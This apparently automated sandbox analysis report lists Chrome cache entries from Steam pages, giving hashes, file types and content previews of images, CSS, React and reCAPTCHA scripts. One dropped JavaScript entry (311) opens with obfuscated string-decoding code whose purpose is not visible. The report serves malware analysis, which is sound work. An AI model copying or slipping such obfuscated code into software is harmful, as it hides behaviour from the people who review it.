URL:	https://store.akamai.steamstatic.com/public/images/account/wallet_icon.png
Preview:	.PNG........IHDR.............W.+7....pHYs...t...t..f.x...OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

Chrome Cache Entry: 298

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90", baseline, precision 8, 32x32, components 3
Category:	downloaded
Size (bytes):	1210
Entropy (8bit):	7.459664429384581
Encrypted:	false
SSDEEP:	24:5f+b0o0XxDuLHeOWXG4OZ7DAJuLHenX3bq1qvFFEHJS8Bsdcgt5iv6QBO25+b0:5fIFuERAZgCFSH5Bsd9Cvty0
MD5:	BA4E51640291BB03CBD41951D9672584
SHA1:	0BBB630D63262DD66D2FDD0F7D37E8661A410075
SHA-256:	3520B13DD1A7954829EB15CD6ABAFCE4F908EA5C624B9DE40C25CCAEFF74F87B
SHA-512:	244A8848BD0D21B9E6B608244346FD4837E513ACF88B2C9599F921530AD440C9737C2B33E253CFBDC163453C9114F15B669410B1C55109DE44A883A5181EF564
Malicious:	false
Reputation:	low
URL:	https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/570/0bbb630d63262dd66d2fdd0f7d37e8661a410075.jpg
Preview:	......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90....C....................................................................C....................................................................... . .."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......!.k.TZ..$.\...[.2....1h.q.I+a~...W..em.x...5....t?...n.MW..V.a.-.. .....u.Q.z..r+...r.%....#.JX\...C....9E^V...e....4$.u...d.....w..o..<K../.....&........6p.>.5......}:+......8.3.........i......e...8.3.....j)..#.'{.7-.,%z..E..Q.....xG.......4E...E'.a2..A....M..............~6.>.u.W..o..~.

Chrome Cache Entry: 299

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	downloaded
Size (bytes):	24657
Entropy (8bit):	5.319718503552118
Encrypted:	false
SSDEEP:	384:aUXvnJo2dacv5Wc4gOV+n0Xmz85JX1c/jc0NL+lMF2KDnXhOMucpqWqGil/wSwf3:aU/nq2dd4gmLWqGil/wS20m
MD5:	A52BC800AB6E9DF5A05A5153EEA29FFB
SHA1:	8661643FCBC7498DD7317D100EC62D1C1C6886FF
SHA-256:	57CFAF9B92C98541F769090CD0229A30013CEA7CFAFC18519CA654BFAE29E14E
SHA-512:	1BCACD0EC7C3D633D6296FFF3325802D6352805F0D2CF1EEA39237424229ECFFAD6CB2AEE4248E28B1ECA02FF0646B58240851A246BBCF0AA1083830D5D9081E
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSvIAKtunfWg&l=english
Preview:	"use strict";....// build our menu on init..jQuery( function($) {...var mqQueryMenuMode = window.matchMedia ? window.matchMedia("(max-width: 910px)") : {matches: false};...var mqMobileMode = window.matchMedia ? window.matchMedia("(max-width: 500px)") : {matches: false};.....var $HTML = $J('html');...window.UseTouchFriendlyMode = function() {....return $HTML.hasClass( 'responsive' ) && ( mqQueryMenuMode.matches \|\| $HTML.hasClass('touch') );...};...window.UseSmallScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqQueryMenuMode.matches;...};...window.UseMobileScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqMobileMode.matches;...};...window.UseTabletScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'tablet' );...};...window.UseNewMobileAppMode = function() {....// the new mobile app can run on screen widths wider than responsive_css_maxwidth....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'rn_mobil

Chrome Cache Entry: 300

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19780), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	19945
Entropy (8bit):	5.342485948501352
Encrypted:	false
SSDEEP:	384:+odYV4zoDTHwyd4U+EslgeEcDwq11C37aeTXsXAt1CzgqKcnrXvFOLc1FMOVnGz:4SYwyuZ1DemVXm1Czzrf0Lc1FMOVnO
MD5:	DC43944D86292C768C3F53D184FB5DC1
SHA1:	ADF4FB82F00BCB6A3C0751836CB01D90AB118F71
SHA-256:	59C4793678AC21E41F611D11CA8B8120DDAD4890AF4830FB924EC59128D8D198
SHA-512:	1DBE05E4070E2A5B48F9BD5DE2092AF39AEB335941D4448297AF366C1A12E7C0EC335DFF8CB4039476CA9ED6D808536E3AB6601F1CD20B4A5C986C6344C2F1CC
Malicious:	false
Reputation:	low
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..var CLSTAMP="9230800";(()=>{"use strict";var e,a,n,s,c,d={},b={};function o(e){var a=b[e];if(void 0!==a)return a.exports;var n=b[e]={id:e,loaded:!1,exports:{}};return d[e].call(n.exports,n,n.exports,o),n.loaded=!0,n.exports}o.m=d,o.amdO={},e=[],o.O=(a,n,s,c)=>{if(!n){var d=1/0;for(i=0;i<e.length;i++){for(var[n,s,c]=e[i],b=!0,r=0;r<n.length;r++)(!1&c\|\|d>=c)&&Object.keys(o.O).every((e=>o.O[e](n[r])))?n.splice(r--,1):(b=!1,c<d&&(d=c));if(b){e.splice(i--,1);var f=s();void 0!==f&&(a=f)}}return a}c=c\|\|0;for(var i=e.length;i>0&&e[i-1][2]>c;i--)e[i]=e[i-1];e[i]=[n,s,c]},o.n=e=>{var a=e&&e.__esModule?()=>e.default:()=>e;return o.d(a,{a}),a},n=Object.getPrototypeOf?e=>Object.getPrototypeOf(e):e=>e.__proto__,o.t=function(e,s){if(1&s&&(e=this(e)),8&s)return e;if("object"==typeof e&&e){if(4&s&&e.__esModule)return e;if(16&s&&"function"==

Chrome Cache Entry: 301

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2646
Entropy (8bit):	5.186625633836425
Encrypted:	false
SSDEEP:	48:y3/p1p6iBbbjR3+Muik5kSR3+MuikywR3+MuiktStR3+MuikFXR3+MuikRCR3+Mm:ip1p6eUMuotMuYjMuvFMuboMu3dMuIw9
MD5:	45CDA1A73836131DD3614C2C3854CA4D
SHA1:	8C5F6023535CB883463E83170430B31EE72B5176
SHA-256:	218BEDD2A2817DFDE5F3A900B6204C7E378E1B747FF98AE89AEDFF2391E4429C
SHA-512:	EFA13E0D107CB9915BB8AB250B417880F08E255FF2D6457306FEF6A6FF0DEE0FC2F0FCA15738B71CE1AACCD3B2556B677881BEF4A6CB182D696B583F10E78559
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english
Preview:	/.. Font: ..Motiva Sans.. URL: ..http://www.youworkforthem.com/product.php?sku=T2982.. Foundry: .Niramekko.. Foundry: .http://www.youworkforthem.com/designer/293/niramekko.. Copyright:.Copyright 2011 by Rodrigo Saiani. All rights reserved... Version: .1.0.. Created:.August 09, 2012.. License: .http://www.youworkforthem.com/font-license.. License: .The WebFont(s) listed in this document must follow the YouWorkForThem..... WebFont license rules. All other parties are strictly restricted..... from using the WebFonts(s) listed without a purchased license...... All details above must always remain unaltered and visible in your CSS... /....@font-face {...font-family: 'Motiva Sans';...src: url('https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Regular.ttf?v=4.015') format('truetype');...font-weight: normal;...font-style: normal;..}....@font-face {...font-family: 'Motiva Sans';...src: url('https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Light.ttf?v=4.01

Chrome Cache Entry: 302

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	91429
Entropy (8bit):	5.314088694667635
Encrypted:	false
SSDEEP:	1536:imsvf3ZcGj0CqB26gdz5a70sfFo1KnVn6z4EBYfhlOPBr90w6ssOZrQSysmHN4j4:K046g+Dn6z4EBBlWN40
MD5:	7F3E92BF5B5B4B76446E6147D86C21AE
SHA1:	277260B15BB51C0E19B4B3D27ACC4E4E5F172069
SHA-256:	C19260B0FC51D2BC52D42E72DA83699701B5C5040460AA6BC13F4F0E6F5F9FF3
SHA-512:	47E9F75803C0D8B1EC169FC501A1768B4F11F38C54C435B1ACD2CF9BFA4707C78EF56B3868D50AA36D6975760A57843DD306829D92A04B36BB1AA94B506AEF79
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/dynamicstore.js?v=uk2vdkhDxGM-&l=english
Preview:	..function GetElemSNR( $Elem )..{...var snr = $Elem.data( 'snr' );...if ( typeof snr != 'undefined' )...{....return snr;...}.....// look for links with snr parameter...var links = $Elem.is( 'a' ) ? $Elem : $Elem.find( 'a' );...snr = null;...for ( var i = 0; i < links.length; ++i )...{....var link = links[i];....var navinfo = link.href.match( /[\?&]snr=([a-zA-Z0-9\-\_ ]+)/ );....if ( navinfo )....{.....snr = navinfo[1];.....break;....}...}.....$Elem.data( 'snr', snr );...return snr;..}....// given an array of impressions as strings, this will handle joining them all together into a singular string, but enforcing that it doesn't..// go above the cookie size limit which can otherwise cause users to become stuck since the page requests will start failing..function JoinImpressionsUpToLimit( rgImpressions )..{...//cookies generally can go up to 4k bytes, but we can have problems when we start getting that close, so cut it off earlier...var nRemainingLen = 3200;...var result = '';...for ( var

Chrome Cache Entry: 303

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (630)
Category:	downloaded
Size (bytes):	10737
Entropy (8bit):	5.327237293204141
Encrypted:	false
SSDEEP:	96:DIxuZlZJFupWXpi0pGZBnXQd2q7s0ZiZmdUYe3egbwZqw8+mwoChzSBmqZTZ+Z33:kEXdMAFJdUTTE77tYHD4egFj2MFpKHc
MD5:	D86DCDBFED4C273C4742744941259902
SHA1:	98089A33D0CF2FA4B3E1BA9B7EEB9B8BA0AC82A7
SHA-256:	4B4969FA4EF3594324DA2C6D78CE8766FBBC2FD121FFF395AEDF997DB0A99A06
SHA-512:	F10E98F579D36CE13E24DBE3050C09D87F12F94578B80EA1891CA485DB48C83619D93A6B74D99639468A746CCE872AF8742CA4DBCECE7A36CFBF097B96B7EAAD
Malicious:	false
Reputation:	low
URL:	https://cdn.jsdelivr.net/npm/react@18.2.0/umd/react.production.min.js
Preview:	/*. @license React. * react.production.min.js. . Copyright (c) Facebook, Inc. and its affiliates.. . This source code is licensed under the MIT license found in the. * LICENSE file in the root directory of this source tree.. */.(function(){'use strict';(function(c,x){"object"===typeof exports&&"undefined"!==typeof module?x(exports):"function"===typeof define&&define.amd?define(["exports"],x):(c=c\|\|self,x(c.React={}))})(this,function(c){function x(a){if(null===a\|\|"object"!==typeof a)return null;a=V&&a[V]\|\|a["@@iterator"];return"function"===typeof a?a:null}function w(a,b,e){this.props=a;this.context=b;this.refs=W;this.updater=e\|\|X}function Y(){}function K(a,b,e){this.props=a;this.context=b;this.refs=W;this.updater=e\|\|X}function Z(a,b,.e){var m,d={},c=null,h=null;if(null!=b)for(m in void 0!==b.ref&&(h=b.ref),void 0!==b.key&&(c=""+b.key),b)aa.call(b,m)&&!ba.hasOwnProperty(m)&&(d[m]=b[m]);var l=arguments.length-2;if(1===l)d.children=e;else if(1<l){for(var f=Array(l),k=0;k<l;k++)f[k

Chrome Cache Entry: 304

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1602
Entropy (8bit):	5.090937448322199
Encrypted:	false
SSDEEP:	48:2phdSDVwSyV9jC61sNcNLpfL4K1ysXFQTuQY1oFsES1tcX35EENXmlq+rULXBXeO:VD5O1C8t7LPD7QY11tc5XYULxH
MD5:	5A05314A52936F75B57ECB183893C5F3
SHA1:	D0F9EA81C17DD7733D976191913D8B09567B5D5F
SHA-256:	748685B44B44E8D502326B55F4CF49FB86866F37F244935B457DC0C85E1E4DD2
SHA-512:	63B039EFF5B1DD111B71A5217F40E7E39B3DE98A99C8B31756C67134BAFF9CF7B6A4D088B7FF950C12E62BB8F441CDDB6E4567CF8148847C9CD86930AEE22A39
Malicious:	false
Reputation:	low
Preview:	..document.addEventListener( "DOMContentLoaded", InitRefresh );....function InitRefresh()..{...if ( typeof window.g_wapit === 'string' \|\| typeof window.g_wapitExpiry === 'number' )...{....try....{.....var expiry;.......if ( typeof window.g_wapit === 'string' ).....{......var body = JSON.parse( atob( window.g_wapit.split( '.' )[1] ) );......if ( typeof body.exp === 'number' )......{.......expiry = body.exp;......}.....}.....else.....{......expiry = window.g_wapitExpiry;.....}..........var offset = Math.floor( Math.random() * 600 ) + 1800;.....var timeout = ( expiry - offset ) * 1000 - Date.now();........window.setTimeout( AutoRefresh, timeout );....}....catch ( err ) {}...}..}....function AutoRefresh()..{....if ( window.g_wapitRefreshEnabled )....Refresh();..}....function Refresh( onRefreshed )..{......$J.ajax( {....type: 'POST',....url: 'https://login.steampowered.com/jwt/ajaxrefresh',....data: { redir: window.location.href },....crossDomain: true,....xhrFields: { withCredentials: true

Chrome Cache Entry: 305

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 66 x 66, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5190
Entropy (8bit):	7.95300701431002
Encrypted:	false
SSDEEP:	96:4St6M+qrWBymK0DSKtmauI77CoXFCd3dJG44bzOLgpmijzLe7kcTANTX:4SXrceNaR3J43JG4IzOmmILe7dTAND
MD5:	21D535D86A2AC64ACEB4EF4F81B77544
SHA1:	4BD619A623263310FA75319C66F891E2D125B11D
SHA-256:	B9A580F52E3BD2D445831A2FCB6765A518461EAD8A252CB9410C145C51936C1A
SHA-512:	67C0FE10B0B8D4949DA4B1595C985C603751738FF2F1CA2B181BB6195CACF8478DBDE0F30101476803D642CEEF0D7717C682E9C82BE4DC7A096E88CA023B28D7
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/steam_link_icon.png
Preview:	.PNG........IHDR...B...B......T......pHYs.................sRGB.........gAMA......a.....IDATx..[....u?..."...".,:.cAY?.@..T..L4.h.I`..4...D..m&5n.t.M.i.4.@..M.N"F.....I.U............u...{.1F..x.....s.........v.5...9D...h........y......l.......d...H.;...x\....K$.!<W....CX......-.=K7.A4..f[.]-.@w.y]........1}.u.d........].tv/m'......e.2#.G.@.....b.g..4h..8./.....~..\|2.".....1.$. _g.G.r.dh.j....k.).../...#..c..7V..Y..#...A...5.o...".k:=%4._...UI......&k.&b.......P^V&..JXC..t..^on.t.g.PCA.).........-G..:2{O..i..1.3h6_G#j...}u]_SXp.3....I..Z.h`Os.09..w......4.......W.....e...r....x....G.V..K.FN.........=D../.. ..+.....7..?.}y..$I8....Q..;X r.B.z.K^.rGH..h...cT.N.6-..B[../.....}J_......X.....p{..B..=...bsl35%[.V...\|.{#.....:NL1..i..1cO.&.Q...[...+.(.M....D.w..;......q=./.WZ[.A..ynb5.2s...*.3....<..X+.:j..o_.i`A....6..?p.\|cPA..~....Zq.../......n....OZ....0.....:2...6U..,..ko.... rh$(....../.'......ZN:r,N<bL..p.^...../...>X...y`6.E.5?.au.

Chrome Cache Entry: 306

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1836), with no line terminators
Category:	downloaded
Size (bytes):	1836
Entropy (8bit):	5.861467806576844
Encrypted:	false
SSDEEP:	48:iEzpxKo75XI2ovtUjPKtXsDXx/gS1aiRLrwUnG:pVgMI5czZv5suG
MD5:	3FAEB04F00B985F90397C8925CAC45CB
SHA1:	8ADAC17CCCB9F833DFF9CD1C285515C8D9F4F361
SHA-256:	D68B3A3610B9153CC79703A447FDEDBF267889DA21115A5235C488130BE06277
SHA-512:	6D9577024472023F0919C497CEFB256557660362F7C0EC78648812538E1005C65EB3AB83F620220CDE8485EA4E3466AAB9AC7D72799FC6DAE192F9CA1F06F664
Malicious:	false
Reputation:	low
URL:	https://recaptcha.net/recaptcha/enterprise.js?render=explicit
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var E='enterprise',a=w[N]=w[N]\|\|{},gr=a[E]=a[E]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://recaptcha.net/recaptcha/enterprise/';(cfg['enterprise']=cfg['enterprise']\|\|[]).push(true);(cfg['render']=cfg['render']\|\|[]).push('explicit');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true; po.charset='utf-8';var v=w.navigator,m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='A7uxtj3+hJmOcZFooFT0Ps276PuOqGnM1jfoPbFvxWp73VC60LnYGzayHVvcFeEiF0qrwy7fQAL+gGVXU+f9IQcAAACTeyJvcmlnaW4iOiJodHRwczovL3JlY2FwdGNoYS5uZXQ6NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9';if(v&&v.cookieDeprecationLabel){v.cookieDeprecationLabel.getValue().the

Chrome Cache Entry: 307

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 499 x 167, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	6017
Entropy (8bit):	7.827831655449772
Encrypted:	false
SSDEEP:	96:r6kn4M686QACM2VpbWCt29skvpecOqyEJoAjiySiuKlB/4Tr0WKCESZLI0d9:eknGj/27bWY29skvpeBREaAnSjKlOTp1
MD5:	FAA7A4F0C8811CFC43E97FD8BA8D5C22
SHA1:	B48ADD097646EE1EB2DF9159246E0C2F724E3FB4
SHA-256:	2968A1D8353A874E073E6199640DA090596BB22EC0076B5ACC80BCD16587BD38
SHA-512:	1C58819DA9ADC57D63B992D04BDAC33AA89D486E29A2891E01AB97A0958242EFA986C1A1CD571CCF17F9BD10D509AFD613A4F0DFB8E5D5FFEFA8B6BAA7F4BD2F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............2.E,....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.1b65a79b4, 2022/06/13-22:01:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmpMM:OriginalDocumentID="uuid:5D20892493BFDB11914A8590D31508C8" xmpMM:DocumentID="xmp.did:B8E4AEAC297F11EDA9BDD86BC83012D9" xmpMM:InstanceID="xmp.iid:B8E4AEAB297F11EDA9BDD86BC83012D9" xmp:CreatorTool="Adobe Illustrator CC 2017 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:84eaae3d-1e23-4d04-96cf-299e1a6b201a" stRef:documentID="xmp.did:84eaae3d-1e23-4d04-96cf-299e1a6b201a"/> <dc:title> <rdf:Alt> <rdf:li xml:lang="x-default">Prin

Chrome Cache Entry: 308

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1600x690, components 3
Category:	downloaded
Size (bytes):	65743
Entropy (8bit):	7.811780908461519
Encrypted:	false
SSDEEP:	1536:rNLzMwRMBrmzHC4IO0cYFmL+76ELuC+ZYJ+pGXN:JLzVm6dIO0tmqoZC+G9
MD5:	105F079801573F86F1EB00E5A5859B5B
SHA1:	A25DA185557ECC0EB30943F902723B415BBA4728
SHA-256:	B258176E6B291343C18679962AB8658108451A22F12A5AECAB106501D8BC091E
SHA-512:	FB3574ADE953AC8DC2DBD866D035327B73E1AD47528A878BF6B8C328679F44D7CB513A57E74A2E0489A5B42FA1C8992E9EE73EC54F7F19047F2E863BE5FBC8F7
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/images/blue_body_repeat.jpg?v=2
Preview:	......Exif..II*.................Ducky.......P.....ohttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:DC2A5B7287AFE311A0D4DD75D6B1731C" xmpMM:DocumentID="xmp.did:8BA0DB9939F911E4A46BC04E209BF2B0" xmpMM:InstanceID="xmp.iid:8BA0DB9839F911E4A46BC04E209BF2B0" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C5062F826C2DE411BAEF90B629DAE306" stRef:documentID="xmp.did:DC2A5B7287AFE311A0D4DD75D6B1731C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.............................................................

Chrome Cache Entry: 309

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 744 x 171, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	10863
Entropy (8bit):	7.893336023408476
Encrypted:	false
SSDEEP:	192:5ARjfa23tAJsqmbZEyI3ImwTHVeVUzp7C+22Z6XikPFffq0BV0FIZLKePlOoYWn4:5AfaItAJsfElI3jVwUzpC+JqNfC0wFIM
MD5:	A4E79C73EE13CB25B60FC4B0BA1F690C
SHA1:	B690C31B2EB1B0EB085E91AAAE7E79F03DEBE7C1
SHA-256:	6CB869DF089146C12EFB5E9C968E911C314842624BA6F052A11346AC734CADC8
SHA-512:	AAD423119F410A655F0AA475D2FE692087D7262C3986CE71347981C5B60F6A10031D7050BF9B9AEE4E7D84D814F0B8883C964028FCBE14ED3464602F3BA6CEC3
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/images/responsive/header_logo.png
Preview:	.PNG........IHDR.............4.i{....sRGB.........gAMA......a.....pHYs..........o.d..).IDATx^...}U......\|.hp(..%1..H.DQ..(..H..HF..H..(.B1...hP.B1.."1..")...(."..I.".x.....:.9.......>.c....~....>..c.....7O?..sDDDDD.....QDDDDD.......S...g.Nj..........h.EDDD.F........N;.B.r..!.%.phm.9.....\DDDdr4.25..].:/..?%4...a...}.H.........]..!..qm.....\|m..]DDDdp4.24...$....R..>....{..y.""""..A.! .....C.s.....0......""""}.A.>...{Co.../,..K1._.Qt*"""r..t..r.?.z..l.`.?......tB...@^..Ctb...h...QuZ;....$.A.\..zW.cN.r..c!"._....""".....pY..C.$.'CD.?......N4..+B..1PH.CD....`DDDDZ..G.6...G.!........Bg......M4..r...".\....OB..../""".....&Dy...1..:.\.bJ......t9.....2..w"....&....H.....C..!...t0...Qu...Y(F..u._.4..C..v0.Z....."./.....:eu&%@..B....""".@LqY&.?RZ.^.I..(ty.....,....xA.^.....oCo..\|u&""".G..,.......S.KC.b...Y../.".?.i...;....SDDDf..}.\."rNz...u...:.UDDd.h......)_?....z..LDDDf..}.."r.9....].......Ht..6D..I.3.#..l.EDDd.h.....9.2_..zG..........8;..\|..9..wWg"""

Chrome Cache Entry: 310

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 3900 x 2550, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	2916320
Entropy (8bit):	7.996029453632781
Encrypted:	true
SSDEEP:	49152:9KGMHacbeYT4Q+3M2gWQZANiUloUaCodfB/I85PW0bpMGsuPIXc/:8iTY1+cVZ6loUyC85+0aGp
MD5:	EBE8E0DBDC3656F997410A7EFB3AA7E1
SHA1:	4FA1301406D089FCC5D9D39A5D4D5781EC7A2B22
SHA-256:	23B5951E25775A29D989EB13476918C1A2B7A60DBA08840069E808F04D53A06B
SHA-512:	28674C976F3B22FCBD664EF24DAF2729E2309A016B3F76687737928B68171D3216D4D5BF1031C7F3E64923B0A8AEECF854B869C7D6337F0D667C932AF35721DD
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...<.................tEXtSoftware.Adobe ImageReadyq.e<.,..IDATx....`........!7F.."PA<.......w..w.._.x.Q.z.Q@.-j.............$...0..rg..f..;...{.L..).};....7.;....,...................0...................<.................. ..m................@....................$"..................IDh....................6................$..m................H"B..................D.................. ..m................@....................$"..................IDh....................6................$..m................H"B..................D&........A.,.....@..H'.........m......j.kjw...{oYyE......kk.....vG..B.........a2.;u..s......#.w.}...B..Gu.........Dd.......J;.w...n.R.ykQ..Ct.....F......2x..!...........H B...... .$Y.\P..+........>...........2x.C..2d.A.........x.........g...m../(..RX.u;........<`..AC...1lh..D.......D..6.....H.f.e.W....vsA..n.C....v&.d:e..G.s...efd.!......:.............K.Z._Pt.........n]...2...F.w.pz...... "B...... vV...9../[Y.........@y..^r.......Fo...

Chrome Cache Entry: 311

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (52909), with no line terminators
Category:	dropped
Size (bytes):	52917
Entropy (8bit):	5.292876158961998
Encrypted:	false
SSDEEP:	1536:lBb2XHzZBzQZXIJKSaTFsyNv4JePKcS1ITzrMzHazXZhB0XY5s:nb233Q6JKSaTFsyNv4JePKcS1ITzrMzH
MD5:	5FD943794440DEE4D1865B9203FD1577
SHA1:	751295129DF43A924D24330B8E2652399F5A18DE
SHA-256:	84227D83C7A95DD965FB12024B63A42E275DF9F1C755AF8C86F92A52A35BCDF9
SHA-512:	C202B209199680BB969D3F7BAE6AD43583212B49F18941A1F885CA2047EE5E4384222180D66E9B8EA048DE8AAE88415A88D2CAE81B3BC95B2EF8E2F13B58C498
Malicious:	false
Reputation:	low
Preview:	function _0x46ad(_0x20cd8b,_0xd5e100){const _0x110dbf=_0x110d();return _0x46ad=function(_0x46ad1b,_0x4f9ff3){_0x46ad1b=_0x46ad1b-0x18d;let _0xadc16c=_0x110dbf[_0x46ad1b];return _0xadc16c;},_0x46ad(_0x20cd8b,_0xd5e100);}(function(_0x2f05a7,_0x2cecd5){const _0x4d1ffc=_0x46ad,_0x595ed1=_0x2f05a7();while(!![]){try{const _0x3b298d=-parseInt(_0x4d1ffc(0x1c3))/0x1+-parseInt(_0x4d1ffc(0x231))/0x2+-parseInt(_0x4d1ffc(0x235))/0x3+parseInt(_0x4d1ffc(0x24f))/0x4(parseInt(_0x4d1ffc(0x1f5))/0x5)+parseInt(_0x4d1ffc(0x224))/0x6(parseInt(_0x4d1ffc(0x234))/0x7)+-parseInt(_0x4d1ffc(0x285))/0x8+parseInt(_0x4d1ffc(0x29b))/0x9;if(_0x3b298d===_0x2cecd5)break;else _0x595ed1['push'](_0x595ed1['shift']());}catch(_0x139b8a){_0x595ed1['push'](_0x595ed1['shift']());}}}(_0x110d,0x951f0),((()=>{const _0x4b85b2=_0x46ad;var _0x19e3ce=Object[_0x4b85b2(0x199)],_0x353478=Object['defineProperty'],_0x187537=Object[_0x4b85b2(0x223)],_0x1d1f0e=Object[_0x4b85b2(0x1c4)],_0x596794=Object[_0x4b85b2(0x1c0)],_0x389621=Object[_0x

Chrome Cache Entry: 312

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (381), with CRLF line terminators
Category:	downloaded
Size (bytes):	85574
Entropy (8bit):	5.292296378905876
